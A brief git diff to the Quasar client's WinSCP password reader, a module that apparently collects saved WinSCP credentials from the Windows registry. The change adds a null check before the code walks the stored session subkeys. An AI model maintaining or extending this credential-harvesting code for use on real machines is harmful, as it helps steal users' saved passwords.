diff --git a/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs index 3823ad5c..355d1c15 100644 --- a/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs +++ b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs @@ -23,6 +23,10 @@ namespace Quasar.Client.Recovery.FtpClients using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, regPath)) { + if (key == null) + { + return data; + } foreach (String subkeyName in key.GetSubKeyNames()) { using (RegistryKey accountKey = key.OpenReadonlySubKeySafe(subkeyName))